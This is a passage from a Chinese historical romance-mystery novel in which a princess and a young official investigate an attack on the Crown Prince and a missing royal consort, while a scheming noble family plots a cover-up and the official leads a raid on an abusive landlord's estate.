太子遇刺城中早已提前宵禁,而嘉福公主的那张由圣人钦赐的玉牌却是可四通八达。直到将过亥时覃楹与多吉来寻,一无所获的姜宝来才回了公主府。
翌日。
天蒙蒙亮,还不到寅时程晚便等在长乐宫外,公主府的守卫们这些时日下来太过熟悉程晚,总之不会受公主责骂,当即将他请进了府里。
而素来贪觉的姜宝来也是几乎一夜未阖眼,天还未亮便起了床让雾萝准备梳洗。
姜宝来猜到了程晚会来只是未料到会这么早。
她道:“我就知道你会来,没有我你进不去东宫对不对?”
“想去看看阿兄?”
程晚笑:“公主料事如神,子煦但凡多一个心思就会被公主的那把弓箭射成筛子。”
姜宝来扬起下巴:“你知道就好。”
“四嫂嫂的案子如何了?”
她给了覃楹一个眼神,覃楹很快带着正欲给公主插簪的雾萝并几个侍女退下。
姜宝来从妆奁里漫不经心地翻了翻,而后寻找未果一手托着腮看向程晚:“程子煦,你不用这么拘谨的。我的闺阁你也进了,床榻呢也躺过了,还有什么让你这般过于小心的?”
程晚微笑:“昨日接了殿下所记录的卷宗,我去了一趟农庄。平日里与姚二郎结交的那些人昨日被带去了大理寺,但只因着侵占了民田的事,衙署尚未有证据证明这些人与滕王妃失踪的事有关,不好强压下这些人,目下都称病在家。我想今日与腾王妃母家的人再见上一面。”
程晚说到此
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处又见公主拿起了妆奁里的簪子挑来挑去,复又放回了原位。
他心下了然,温柔地笑,缓缓走了过去再一扫妆奁里各式各样的簪子,从中取出雕有一支金牡丹的簪子插在了她的鬓间。
她今日穿了一身火红的石榴裙,自与这支牡丹金簪相配。
他继续说:“腾王妃失踪一事与姚培平日结交的人占了那良田,还有昨夜鸿胪寺沈大人一事,看似没有关联,却处处有着千丝万缕的干系。”
她道:“那些只会混秦楼妓馆的浪荡子身后不是国公府,就是王侯家,你自然不好进。”
她拉起程晚的手用指腹轻轻抚摩着他骨节分明又干净的手,再到指甲。
程晚任她拉着。
姜宝来又忽然从椅上起了身,拉他到那张昨日还合衣而躺的罗汉床上让他坐下。
她问:“你还有没有别的想与我说的?”
程晚抬起头,看着站在自己面前的公主,思忖一瞬:“有。”
“譬如?”
“沈川夫妇。”
姜宝来继续盯着他看,等他继续往下说。
程晚:“时辰有些不寻常。”
姜宝来忽地一笑,凑过去,盯着他的唇看:“你怎么这么聪明?”
程晚笑:“公主不是么?”
姜宝来想了想道:“原先么我也没想到这些,后来倒是不得不多想一想了。而且如今我们在一个战线,好想也没有什么不能说的对不对?”
程晚目光柔和。
于是姜宝来道:“昨日我问起湘君姐姐身边的侍女霜月,她说他家娘子是快到酉时遣她回得杨家。杨家与沈家的距离若是坐马车大概有两盏茶的工夫,霜月在杨家待了不过一刻钟便离开了,而后她绕到张记要胡饼,可胡饼还没有买上便听说了阿兄遇刺一事匆匆回了府,那我们姑且就算酉时五刻她回得沈家罢。”
说到此处她看向程晚。
程晚道:“依昨夜这位姑娘的供词来看,酉时五刻时沈夫人的那间起居室已是火光冲天,那沈夫人大约酉时四刻就点燃了书籍,再到挟持沈川出府,刚好与那位姑娘擦身而过。”
“而阿兄是戌时初遇刺的。”
“这期间有半个时辰的时间,霜月既然见得火光上天,那火势蔓延的就极快。街坊邻里不可能不知道,也早就传得开了。”姜宝来道。
她看向程晚又继续说:“昨日回来得晚,我还没有机会见见阿兄的那些心腹守卫。”
程晚道:“那些守卫昨日为护殿下受了伤。”
姜宝来:“可你知道昨日阿兄带了多少人从大理寺回东宫?又是哪些人挂了彩受了伤?”
程晚笑看着她:“公主觉得殿下是故意而为之?得知沈川失踪一事,加大全城兵力寻找……沈川?”
姜宝来眨了眨眼:“你认为是沈川?”
紧接着她道:“我认为茂才对我有所隐瞒。”
“可这事儿我觉得不像阿兄的作风啊!”
程晚这时起了身,见一旁的几上放着一件叠整齐的外氅,一旁还放着一把火斗。
显然是公主出门要穿得。
程晚将它取了过来,再自然为她披在了身后。
姜宝来:“做什么去?”
程晚将她身前的衣带系了个结,微笑:“去见茂才。”
44. 姚家
晨光熹微,姚家的小佛堂里香雾缭绕,杜氏跪在一张蒲团上对着供桌念念有词。
陪房慧娘见杜氏脸色苍白,没有一丝血色,已在供桌前跪了整整一夜,上前劝解道:“夫人,小郎君既然安然无恙在大理寺,且朝中有老爷在周旋,定然会安然无恙的。”
杜氏闻言睁开眼,回头看了一眼慧娘:“我儿是什么脾性,我当这个当娘的最是了解。”
慧娘听罢迟疑了一瞬问:“难不成滕王妃……”
杜氏笑了笑,看着供桌上慈悲端坐的神佛:“姚家犯下的罪孽还少吗?慧娘啊,当初我为了得到他的宠爱,我在姚家的地位,鬼使神差听从了他的话,结果多少条人命因我们而死?”
慧娘逐渐垂下了眼,紧抿着唇。她又听杜氏问:“她们母子还是没有消息?”
慧娘说:“当年芸娘独自一人带着一个四岁的幼子,只带走了一些金银,这些年杳无音讯怕是早就不在人世了。如若不似乎夫人念及我还尚有一个同父异母的妹妹在世,给她一个好归宿,如今不还是在那穷山沟里守着一个带着女儿的杀猪匠待着?”
杜氏淡笑:“可老爷他一天也没有放弃寻找。这些年,我想让植儿、培儿远离都城,可他们却要变着法子回到长安。芳好呢?我最放不下的就是她,我替她寻了一门很好的婚事,如若她当初肯听我的话,肯嫁到赵家,我那妹妹也不会受牵连,她也会美满的过这一生。”
慧娘并不认同:“夫人,那赵郎君是什么人?既能做出买凶杀害公主的事,倘若日后与小姐不合,指不定会做出什么事来。”
杜氏缓缓从蒲团起了身,慧娘上前将她扶起,杜氏道:“寺里多久没有去了?走吧,今日去添上些香火。”
姚家书房内。
姚坤今日不曾上朝,背着手在屋子里走走停停。姚植风尘仆仆从外回来,带了一身晨间的凉气。
“阿耶,那程评事与公主去东宫了。”
姚坤闻言步子一停,不悦道:“程评事?哪个程评事?你倒是改口得快。到底是那乡民随公主进宫了?还是公主带着他一块去的?”
姚植:“阿耶,这有何区别?”
姚坤道:“若是他随着公主的我姚家还能暂喘一口气,若是公主明摆着带那乡民入宫的,你弟弟怕是不好啊!”
姚植仔细回忆起一些细枝末节,半晌:“公主身边那个宦官眼睛精着,儿子离得远没太看清,但是公主上马时是程评事扶上去的,临上马前还不忘给公主裹了裹披风。”
姚坤听罢,骤然拧紧了眉头,喃喃:“不好,怕是不好啊!昨日太子遇刺,后脚陛下就升了他的官,这是摆明了要栽培此人?陛下此意可不就是在给嘉福公主定驸马。”
姚植沉吟:“阿耶,太子殿下这般看重此人,难不成当日的事是他在背后出谋划策?阿耶,殿下是不是查出一些什么来?”
姚坤两眼一瞪:“他能查出什么?要查也是他魏林,他负责押解淮南王回长安,最后淮南王死在了范阳,那是他魏林的责任,与我何干?何况太子疲弱多年,当初一个八岁的小儿与淮南王有多少接触,能尽心尽力为一个皇室的义子翻案?寿昌已经去了,如今的天下是今上的。”
姚植道:“儿子只是猜测。当日妹妹的马车有损坏,临出府前儿子将马车让给了妹妹,那疯乞丐摆明了是冲儿子来的。”
姚植默了默,再言:“那疯乞丐到现在也没有找到。阿耶借盗匪一事托金吾卫的赵将军在城中搜寻还是没找到此人,最后却是归德将军堵了我们的路。若非太子殿下,难不成是归德将军抑或杨太傅在作怪?”
姚坤眯着眼,捋了捋胡须:“当初淮南王的声望岂是只有这寥寥几人?为父看想为他翻案的不止这些人。”
“阿耶派出去的人这些年寻苏祈安母女一直未果,看来应是早已不在人世了。即便传言说苏祈安是服了五石散又如何?无凭无据,慧娘也说他那妻儿应是早不在人世了。况且,姑母那里……陛下还在姑母的面上。阿耶不必多虑。”
姚坤不置可否,良久与姚植道:“只你妹妹当日远远见过那乞丐,得了空再让她仔细想一想,看看能不能画出一张画像。”
姚植称是:“那弟弟那里……”
姚坤恨铁不成钢,咬牙道:“事关天家储君姓名,如今大理寺就是密不透风的墙,为父也是进不去的。”
说着他又看向姚植:“此事若不妥当,你日后的仕途也有影响,沈川如今下落不明,若他死了倒好,他日这鸿胪寺卿的位置岂不就是你的?若他还活着反咬上你弟弟一口,培儿他从此也就完了。”
姚坤越说越愤:“你弟弟他当真糊涂得很,这个孽子被父亲纵容过头,若事先与你我说明,为父还能看着他沈川骑到我儿头上?”
姚植斟酌道:“当日弟弟强行掠走……了滕王妃,后来去了北里被沈川发现端倪,沈川借此勒索弟弟,至于滕王在前夜是如何发现,跟踪上弟弟与沈川的,还有滕王妃被藏在子了何处,弟弟还未交代大理寺的人就找上了门。”
“只不过沈川前夜为何突然被他那夫人挟持出城,儿子至今想不明白。”
“不过,依阿耶的话,防患于未然,腾王妃一事若真被那程晚查出,儿子找他人顶上便是。只要弟弟不认,便是在大理寺被剥了一层皮,沈川也无法。有性命活着总比没有得好。”
姚坤立时道:“还能因为什么?无非是夫妻那点事,他沈川自打伤了腿脚,家门不睦又不是一天两天。如今大理寺的人盯着我姚家的门,让你阿娘派人去庄子上再找找,她不是最爱去那劳什子青龙寺,就让她以上香的名义。”
姚植道:“阿娘已经出门了。”
姚坤回身怒摔了书案上的茶盏:“那滕王殿下又何尝不是个精明的,知道引太子去了北里。”他又吩咐儿子:“目下你想了法子速去知会你弟弟那几个混不吝的酒肉朋友,不过滕王殿下有什么后手,咬死了没见过你弟弟当日对滕王妃的行径,我看那乡民该怎么办。”
-
东宫里,姜宝来与程晚看过了刚由御医照料着喝了药的姜朔玉,随后去了偏殿。
多吉慈眉善目地去请太子近侍茂才,茂才已忧心了几日,眼见着自幼侍奉的主子没有清醒的打算,嘴角接连起了几个口疮。
闻公主有事找自己,茂才
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愣了愣,跟着多吉去了偏殿。
屋子里,姜宝来一手端着热茶笑眯眯地看着茂才,而程晚坐在了一旁,同样面色温和。
茂才见状再是一怔,心里也打着鼓。他直觉公主有事,平日里公主不笑倒还好,若忽然这般笑盈盈地看着某个人,那这个人准要遭殃。
随后他拿眼觑了觑程晚,紧接着眨了眨眼,复又咳了一声。
姜宝来:“你看他做什么?”
茂才道:“奴才见程大人的面色不太好。”
“是么?”说着,姜宝来起了身走近程晚,倾身贴过去看了看:“我瞧着还行呀!细皮嫩肉的。”
茂才闻言一噎。
很快他听公主道:“茂才公公着凉了么?这几日照料阿兄幸苦了。”
姜宝来一边说着一边走到茂才面前,欲将他扶起。
茂才忙道不敢当。
姜宝来面带着笑:“那你自己起来。茂才公公,你无需在我面前这般拘谨,小心的。我年幼时上树摘枣子,掏鸟蛋,还是公公你在下面接着我,生怕我摔了。后来啊我是真摔了,阿兄还没说什么,你自己去罚跪,我还去给你送饼子吃。”
程晚端坐于椅上,闻言垂下眸浅浅一笑。
茂才很是感动地说:“公主还记着呢。”
姜宝来看着双眼闪着泪光的茂才:“是啊,我记性好着呢,谁若对我好,我只想加倍的还,也要加倍的对他好。”忽然,她话锋一转:“可是啊,他若有心瞒我,我就会很生气!很生气!”
茂才眼皮一跳,还未待在心里认真搜刮着一通该如何回答公主的话,公主已靠了过来,用那双与太子殿下极为相似的眼炯炯看着他。
公主道:“我问你,湘君姐姐与阿兄什么关系?”
茂才心头一紧,只觉心跳噗通噗通越来越快。
“公主在说什么?杨娘子是杨太傅的孙女,若说与殿下的情谊,大抵就是兄妹的情谊。”
“是么?”姜宝来忽地挑了挑眉。
茂才又听公主道:“阿兄素来谨慎行事,从未有一分差错,忽然身受重伤,那伤口我看了果真下了狠手,父皇震怒,金吾卫派了全卫府的人去寻沈川。”
“这般下去,一日两日三日,湘君姐姐如若再找不到,阿兄的伤岂不是白受了?”
茂才闻言沉默。
姜宝来当即吩咐多吉:“去将当日随阿兄出行的守卫找来。”
茂才听罢呼吸一滞,咬咬牙,想着那日的情形,索性殿下做都做了,他道:“殿下是因着听到沈家起了火,杨娘子挟持着沈大人出了城。殿下身为储君不得随意出城,只得以身犯险……”
“是两情相悦?还是阿兄一厢情愿?不对啊!湘君姐姐四年前就嫁人了,总不能阿兄起了夺人妻的心思?”
茂才蓦地再一咬牙,欲哭无泪:“公主待……待殿下醒了,公主自去问殿下好了。如今要紧得是找到湘君娘子。”
姜宝来沉吟片刻:“是啊!魏翊扬为着这事可是两日未回家。”说着她回身看向已起了身的程晚,与他道:“我去找我那四哥哥,你先去田庄也好还是去找四嫂嫂的娘家人也好。”
45. 敢动我的人
程晚先去了一趟滕王妃郑薇的母家,滕王妃的兄长得知此人是为胞妹失踪的案子而来,已将太子这些时日负责彻查的此事全权接手过去,迟疑一二便与他一道去了田庄。
作为大理寺的主官,换做往日章墨理应随太子一同前去排查此案,但上面已经发了话,说白了,章墨明白此案就是圣人为了提携这个新科进士,为了给公主日后的驸马一个高官俸禄,能顺利走入官场的跳板罢了。
况且这人年纪轻轻,如若不是因着陛下的特殊优待,如今还是崇文馆只知修书的一个微末小官了。
章墨心底里认为,此人并不能胜任此悬案。索性也就没再坚持,只先一步去了田庄等候。
程晚与郑家长子郑瑜一道去了庄上,路上郑瑜将妹妹因嫂嫂生产回家省亲,又去田庄看望已颐养天年的奶娘,却无端失踪在了庄子上。
马车里,程晚缓缓倒了一盏热茶给郑瑜,郑瑜道谢,抬眼看向面前气定神闲地清隽男子:“……事情大概就是这个样子,因家母得知妹妹回家很是高兴,妹妹自打一年前嫁入王府与我们相见的日子屈指可数,家母为此亲自下厨做了晚膳,只等妹妹从庄上回来便一道用晚膳。妹妹也觉得庄子与城里距离不远,一来一回一个时辰足够,便只带了四名王府护卫与近身侍奉的侍女。”
说到此处,郑瑜喉间一动,一声哽咽:“直到傍晚,妹妹与我们约定的时辰晚了足足三盏茶也没有回来,于是我带着人先去了庄上寻,却发现跟去庄上的几个侍卫已经在找与侍女出了门许久不曾回来的妹妹。”
程晚看着郑瑜满面地悲痛之色,温和道:“我看过大理寺殿下留下的卷宗,庄子上有一座如今破败的古庙,王妃年幼时曾随令堂去农庄时时常会随令堂前去一拜。”
郑瑜闻言悲痛欲绝:“妹妹自幼最是懂事,家母走到哪里都要带上她,所以这次去看望奶娘,妹妹又去了古庙,也正因此失踪在那儿,那侍女也没了踪影。”
程晚宽慰:“程某听闻王妃慧智纯善,入王府一载便将其打理的井井有序。郑郎君,没有结果就是给最好的结果。”
郑瑜沉默片刻,红了眼眶,大理寺派下的公用马车也已经到了农庄。
早前姜朔玉已让章墨派了衙署的几名小吏,前去农庄庇护几个敢于出面的农人,且有衙役这些时日一直在寻失踪的王妃,因此庄子上比平日里“热闹”许多。
章墨看到程晚早时出衙署乘得那辆马车,将手里的那盏茶饮得见底才不紧不慢下了去。
章墨走过来笑笑:“程评事身兼两重案幸苦,可用过朝食?”
程晚已在东宫陪公主用过了朝食,他微笑道:“章大人久等,下官已用过了。能为陛下分忧是下官的荣幸,亦幸苦今日章大人为下官走这一趟。”
章墨见他言辞承恩,举手投足间谦和有度,便回了一个微笑再未说什么。
三人一同去了那几户在农庄里横行的乡豪住处,程晚看过衙署里姜朔玉留下的记录,当日查起滕王妃失踪一案,郑瑜有交待过当日在出城寻找郑薇时看到几个世家子弟恰巧从庄子上回城,且庄子上有许多农人作证。
其中一人为国子监吕祭酒的儿子吕庭风,而他时常招揽一群都城的纨绔子弟去郊外的田庄逗留,钓鱼听曲,时常带了北里的妓子去歇宿过夜的田庄皆是其母的陪嫁。
平静的农庄常常夜夜笙歌,农人们早苦不堪言。甚至有一日吕庭风带着自己那座庞大的靠山姚培一同打砸了一农户家。
姚培不以为然:“我爹是六部之首!我阿兄是鸿胪寺六品寺丞。”
而初春里玉华宫一宴上,从浔阳郡在外祖家放养多年回来的姚培唐突了公主,再有姜朔玉的以牙还牙,姚培在浔阳郡的风流事迹可以说是无人不知。
因此,姜朔玉将这些平日里游手好闲的浪荡公子哥与滕王妃一事联想到了一块,有顺着线索查到了那些乡豪强占农人的田庄一事。
几户乡豪不约而同地闭门谢客,章墨早前来此随太子调查此事便已见怪不怪,而郑瑜早已心生了火意:“我看不若我回了府遣些护卫来,既是软硬不吃那就硬碰硬好了。”
说是农庄的乡豪侵占了农人的田庄,但那些白纸黑字的契约上都带有农人的自愿画押。
乡豪自觉有证据在手,并非他们胁迫,而农人这些乡豪不时上门打砸闹事,胆小的早已老老实实交出了地契。
程晚温和道:“郑郎君息怒,程某有一计。”说着,程晚走到了跟在章墨身边的两名带刀小吏面前:“劳烦两位执事……”
其事关太子无端遇袭、还有皇室王妃失踪多日,两个小吏又岂敢不听,当即转身离开。
不多时郑瑜与章墨只见远远地,被程晚派出去的两个小吏,身后跟了两个少年。
两少年,一人个个子稍高,皮肤黝黑,怀中抱着一沉甸甸的大竹筐,看样子放满了物什,但行走得步子却极快。而另一个虎背熊腰,可以说是壮硕如牛,正大马金刀,满面愤容地朝前走来。
章墨不解:“你叫两个小孩家家来做什么?”
程晚微笑道:“章大人稍候。”
很快两个少年朝几人行了礼:“官爷。”
章墨这时才看见那少年怀里抱着的是一筐碎石子。
程晚看向两少年,轻拍了拍那个子略高的少年,温声叮嘱道:“待儿你们两个爬上墙去,若是院子里没有人你便下去开了门就好,让你的伙伴拿着那筐石子随时听你号令,若是有人在你便当即抛下那筐石子,趁着他们尚没有分身乏术,去开了那道门……”程晚又看向那体格壮硕的少年与在场的几人:“而我们便一同去为你加一道助力,一同撞开那道今日阻拦住我们的门。”
章墨闻言回头看了看两个刚刚离去的小吏:“这程评事与你们说什么了?”
小吏挠挠头:“程评事说让我们去问问那些农户找来庄子里农忙时最是勤快的与最讲义气的小孩。”
章墨听罢又回头看了看立在一旁的程晚。
郑瑜也有些不解:“程评事这是何故?”
程晚再与两个小吏道谢,并道:“待会还劳烦两位执事关照那两个孩子一二。”
小吏作揖,忙随着两名少年攀爬上墙。
程晚看着面前,与郑瑜笑道:“既然硬碰硬,那就以让他们一个措手不及的硬碰硬好了。”
章墨道:“当日在行宫见得程评事处事有方,行事有章节,我还道程大人最是知章法森严的一个人。这些乡豪说来也是我国都的子民。俗话说,无规矩不成方圆,如此擅闯民宅,可不是落得我们没有道理了?”
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程晚道:“可有的时候若只守着那些旧规矩,不以权宜之计灵活变通,才能寻得妥帖之法。”
“不拘泥章程,亦不按常理行事更会‘打’得他们一个措手不及。”
章墨道:“那这两个孩子出了事怎么办?若真使这权宜之计,何不让两个吏员走一趟,下去一通棍棒交手,强开了门就是。”
这两个孩子出自平日里被这些豪绅欺辱惯了得人家,昨日我走访过那些农户,他们常年被这些豪绅欺压,早已没有了当初那股作气,此举也并未是一朝一夕而成。我们为农人的鼓舞,并不会让他们当下便能从他们的欺压下勇敢走出来面对,但若是他们自己人,那便不一样了。”
程晚话音刚落,三人便见紧闭的院子里有了响动。
紧接着再见那高个的少年满脸兴奋地抱着那竹筐从墙头上快步跑到了屋檐上的那道悬挂着一块“赵家”匾额的高墙上。
少年当即抛下了一筐石子,石子顺着高墙哗啦啦地洒了下去,几个手持棍棒或是长刀的小厮躲闪不及,硬生生挨了那些石子的痛击。
少年仰天大笑:“人人都是阿娘生下的,要吃饭穿衣,怎么你赵家就不同?孙子,你爷爷我来了!”
程晚目带欣赏地看向那少年,当即走向那道紧闭的宅门。
章墨与迟疑一瞬的郑瑜见此也上前去顶撞那道朱红色的大门。而那壮硕的少年却没有顺势下了墙头,而是与那高个少年与两名提刀小吏一同跳下了院墙。
“臭小子,谁让你一个人上前的?有事一起上!”
门扉当即被人从内打开,满脸得意又带兴奋之色的两个少年与面露雀跃的两个小吏纷纷回头看向那些灰头土脸,很是狼狈的看家护卫。
就在这时其中一人目露凶光,手持着一把长刀从人群里冲了出来,举刀砍向站在门檐下的几人:“敢硬闯我赵家,来者何人?谁给你们的胆量?”
程晚一伸手臂将两个还在身前的少年带至了身后,随后一脚朝着那人腰腹踢去。
那护卫见他还手,怒极之下再次伸出那把长刀,这一次直直朝程晚的心口窝刺去。
程晚伸出一手紧紧攥住了他的手腕,护卫蓦地一声叫嚷,咬牙吃痛。紧接着程晚空出来的另一只手,徒手握向了那把朝他挥过来的长刀。
护卫愣在原地,随后听见一道从容沉稳地声音:“我是程晚。”
章墨心有余悸地看着那把血淋淋的长刃,与跌在一旁气喘不停地郑瑜,正要上前相助,骤然听身后响起一阵急促地脚步声。
章墨回头去瞧,竟是那些素日里不肯出面的农人,一人搀着一人,男女老少结伴而行正朝这儿走了过来。
而那些农人身后还有在乡间村道上御马疾驰的一个红衣人,那人英姿飒爽手持着缰绳,直直朝此处奔来,马蹄踏起扬起满地的尘土。
章墨再定睛一瞧,竟是一位红衣女郎。
“公主——”
姜宝来伴随着飞扬的尘土,单手解下了腰间所悬的软鞭再看准了方向,朝着那举刀护卫挥去。
软鞭如一条灵巧的小蛇般,蜿蜒延伸而过,一鞭甩在了那护卫的举刀的右手上,立时皮开肉绽。
姜宝来再一声厉喝:“混账东西!”
“敢动我的人!”